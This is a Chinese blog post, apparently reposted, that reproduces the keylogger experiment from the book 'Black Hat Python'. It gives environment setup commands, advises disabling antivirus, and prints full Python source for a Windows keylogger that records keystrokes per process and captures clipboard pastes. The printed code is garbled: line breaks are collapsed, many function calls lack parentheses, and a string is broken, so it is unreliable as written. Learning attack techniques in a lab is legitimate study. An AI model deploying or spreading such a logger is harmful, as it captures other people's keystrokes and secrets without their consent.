近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》,书中一共24个实验,今天复现第19个实验( 键盘记录),我的测试环境是windows虚拟机+conda开发环境+python3.7。这个实验非常有趣,在windows环境下,可以记录不同进程下键盘的记录,比如我在notepad记事本上敲下“您好”,程序运行就会得到“ninhao”这样的拼音,这种程序一般会被杀毒软件拦截,因此做实验之前请关闭杀毒软件~
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
这里实验环境选择 python3.7,这样几乎不用改代码,否则代码可能有不兼容的地方,需要自己手动修改~
conda create -n py3.7hack python=3.7conda activate py3.7hack# conda install -c conda-forge pywinhook (python3.6环境)pip install pyWinhook
实验演示结果如下:
参考代码:
# -*- coding: utf-8 -*-# @Time : 2022/6/24 8:17 PM# @Author : ailx10# @File : keylogger.pyfrom ctypes import byref,create_string_buffer,c_ulong,windllfrom io import StringIOimport osimport pythoncomimport pyWinhook as pyHookimport sysimport timeimport win32clipboardTIMEOUT = 10class KeyLogger: def __init__(self): self.current_window = None def get_current_process(self): hwnd = windll.user32.GetForegroundWindow pid = c_ulong(0) windll.user32.GetWindowThreadProcessId(hwnd,byref(pid)) process_id = f"{pid.value}" executable = create_string_buffer(512) h_process = windll.kernel32.OpenProcess(0x400|0x10,False,pid) windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) window_title = create_string_buffer(512) windll.user32.GetWindowTextA(hwnd,byref(window_title),512) try: self.current_window = window_title.value.decode('unicode_escape') except UnicodeDecodeError as e: print(f"{e}:window name unknow") print("
",process_id,executable.value.decode('unicode_escape'),self.current_window) windll.kernel32.CloseHandle(hwnd) windll.kernel32.CloseHandle(h_process) def mykeystore(self,event): if event.WindowName != self.current_window: self.get_current_process if 32 < event.Ascii < 127: print(chr(event.Ascii),end="") else: if event.Key == 'V': win32clipboard.OpenClipboard value = win32clipboard.GetClipboardData win32clipboard.CloseClipboard print(f"[PASTE] - {value}") else: print(f"{event.Key}") return Truedef run: save_stdout = sys.stdout sys.stdout = StringIO k1 = KeyLogger hm = pyHook.HookManager hm.KeyDown = k1.mykeystore hm.HookKeyboard while time.thread_time < TIMEOUT: pythoncom.PumpWaitingMessages log = sys.stdout.getvalue sys.stdout = save_stdout return logif __name__ == "__main__": print(run) print("done.")
发布于 2022-06-24 21:24
转载此文是出于传递更多信息目的。若来源标注错误或侵犯了您的合法权益,请与本站联系,我们将及时更正、删除、谢谢。
https://www.414w.com/read/396576.html